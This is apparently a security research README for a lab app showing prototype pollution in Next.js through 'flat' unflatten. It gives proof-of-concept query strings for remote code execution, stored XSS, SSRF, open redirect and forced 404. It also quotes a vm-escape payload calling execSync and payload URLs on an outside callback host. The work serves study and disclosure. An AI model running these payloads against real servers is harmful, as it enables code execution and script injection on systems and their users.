Prototype Pollution using `flat` with Next.js
Next.js Flat Prototype Pollution
A prototype pollution scenario in Next.js when flat 5.0.0
is used.
YouTube video
Setup Instructions
Install dependencies and start server.
npm install
# Run as Dev
npm run dev
# Run as Prod
npm run build
npm start
Vulnerability
const out = unflatten({ ...context.query });
Gadgets
Lot of unexplored surface. If you find any gadgets, send a pull request ?
Name | Description | Type | Package | Completed |
---|---|---|---|---|
AMP RCE | via validator in Validator |
Remote Code Execution | amp-validator |
✔ |
AMP XSS | via ampUrlPrefix in ampOptimizer.transformHtml |
Persistent XSS + Partial SSRF | @ampproject/toolbox-optimizer |
✔ |
Redirect SSR | via redirect.destination in getServerSideProps |
Open Redirect | next |
✔ |
404 SSR | via notFound in getServerSideProps |
Permanant 404 | next |
✔ |
More AMP | ||||
React Server Components | ||||
Image & Font Optimization | ||||
API & Middlewares | ||||
Router |
AMP RCE
Remote code execution in Validator
(uses vm
module) via validator
Only on
dev
server –npm run dev
Poc
-
Request to any AMP enabled page.
# any page that has AMP enabled /
-
If AMP if disabled on vulnerable page enable it.
/vulnerable?amp=1&__proto__.amp=hybrid
-
Request to vulnerable page with
validator
should trigger the RCE./vulnerable?__proto__.validator=https://rce-callback.pwnfunction.repl.co/ # Hosted payload: (this.constructor.constructor("return process.mainModule.require('child_process')")()).execSync('calc')
Cause
/* next/server/render.tsx */
const ampState = {
ampFirst: pageConfig.amp === true,
hasQuery: Boolean(query.amp),
hybrid: pageConfig.amp === "hybrid",
};
const inAmpMode = !process.browser && (0, _amp).isInAmpMode(ampState); // isInAmpMode(ampState) { return ampState.ampFirst || ampState.hybrid && ampState.hasQuery }
// ...
inAmpMode
? async (html) => {
html = await optimizeAmp(html, renderOpts.ampOptimizerConfig);
if (!renderOpts.ampSkipValidation && renderOpts.ampValidator) {
await renderOpts.ampValidator(html, pathname);
}
return html;
}
: null;
/* next/dist/server/dev/next-dev-server.js */
const validatorPath =
this.nextConfig.experimental &&
this.nextConfig.experimental.amp &&
this.nextConfig.experimental.amp.validator;
return _amphtmlValidator.default.getInstance(validatorPath).then(/* ... */);
/* next/dist/compiled/amphtml-validator/index.js */
function getInstance(e, t) {
const n = e || "https://cdn.ampproject.org/v0/validator.js";
const r = t || m;
if (d.hasOwnProperty(n)) {
return c.resolve(d[n]);
}
const o = isHttpOrHttpsUrl(n) ? readFromUrl(n, r) : readFromFile(n);
return o.then(function (e) {
let t;
try {
t = new Validator(e);
} catch (e) {
throw e;
}
d[n] = t;
return t;
});
}
/* next/dist/compiled/amphtml-validator/index.js */
function Validator(e) {
this.sandbox = h.createContext();
try {
new h.Script(e).runInContext(this.sandbox);
} catch (e) {
throw new Error("Could not instantiate validator.js - " + e.message);
}
}
nodejs vm module simple escape via
Function
–this.constructor.constructor('return process')()
AMP XSS
Persistent Cross-Site Scripting via ampUrlPrefix
in ampOptimizer.transformHtml
.
Also a partial SSRF via node-fetch
during AMP transform.
Poc
// next.config.js
module.exports = {
reactStrictMode: true,
experimental: {
amp: {
optimizer: {},
// skipValidation: true, /* required on dev-server */
},
},
};
-
Request to any AMP enabled page.
# any page that has AMP enabled /
-
If AMP if disabled on vulnerable page enable it.
/vulnerable?amp=1&__proto__.amp=hybrid
-
Request to vulnerable page with
ampUrlPrefix
should trigger the XSS./vulnerable?__proto__.ampUrlPrefix=https://xss-callback.pwnfunction.repl.co/ # Hosted payload: alert(document.domain)
# Partial SSRF - works if SSRF target route `/*` does not return 404 else server hangs
/vulnerable?__proto__.ampUrlPrefix=https://TARGET.URL/
Cause
/* next/server/render.tsx */
const ampState = {
ampFirst: pageConfig.amp === true,
hasQuery: Boolean(query.amp),
hybrid: pageConfig.amp === "hybrid",
};
const inAmpMode = !process.browser && (0, _amp).isInAmpMode(ampState); // isInAmpMode(ampState) { return ampState.ampFirst || ampState.hybrid && ampState.hasQuery }
// ...
html = await optimizeAmp(html, renderOpts.ampOptimizerConfig);
// On production server we skip the error causing validation by pollluting `renderOpts.ampSkipValidation`
if (!renderOpts.ampSkipValidation && renderOpts.ampValidator) {
await renderOpts.ampValidator(html, pathname);
}
/* next/server/optimize-amp.ts */
const optimizer = AmpOptimizer.create(config);
return optimizer.transformHtml(html, config); // config.ampUrlPrefix = 'https://xss-callback.pwnfunction.repl.co/'
/* @ampproject/toolbox-optimizer/index.js */
async transformHtml(t, e) {
const r = await i.parse(t);
await this.transformTree(r, e);
return i.serialize(r);
}
/* `transformTree` eventually leads to the following */
5690: (t, e, r) => {
// ...
class RewriteAmpUrls {
// ...
transform(t, e) {
// ...
d.push(this._createPreload(l.attribs.src, "script")); // l.attribs.src = 'https://xss-callback.pwnfunction.repl.co/'
// ...
}
// ...
}
t.exports = RewriteAmpUrls;
},
// <script async="" src="https://xss-callback.pwnfunction.repl.co/v0.js"></script>
Also while initializing runtime styles in
@ampproject/toolbox-optimizer
, response body fromampUrlPrefix
is inserted directly into the ssr-page, meaning one can still achieve XSS even ifRewriteAmpUrls
transformer is disabled.
Redirect SSR
Poc
/vulnerable?__proto__.redirect.destination=https://pwnfunction.com
Cause
/* next/server/render.tsx */
if ("redirect" in data && typeof data.redirect === "object") {
checkRedirectValues(data.redirect, req, "getServerSideProps");
data.props = {
__N_REDIRECT: data.redirect.destination,
__N_REDIRECT_STATUS: (0, _loadCustomRoutes).getRedirectStatus(
data.redirect
),
};
if (typeof data.redirect.basePath !== "undefined") {
data.props.__N_REDIRECT_BASE_PATH = data.redirect.basePath;
}
renderOpts.isRedirect = true;
}
404 SSR
Poc
/vulnerable?__proto__.notFound=1
Cause
/* next/server/render.tsx */
if ('notFound' in data && data.notFound) {
if (pathname === '/404') {
throw new Error(
`The /404 page can not return notFound in "getStaticProps", please remove it to continue!`
)
}
;(renderOpts as any).isNotFound = true
return null
}
Resources
- Prototype pollution attacks in NodeJS applications by Oliver Arteau
- Client-Side Prototype Pollution by Black2Fan
- A tale of making internet pollution free
- Exploiting prototype pollution – RCE in Kibana (CVE-2019-7609) by Michał Bentkowski
- Javascript prototype pollution by Rahul Maini and Harsh Jaiswal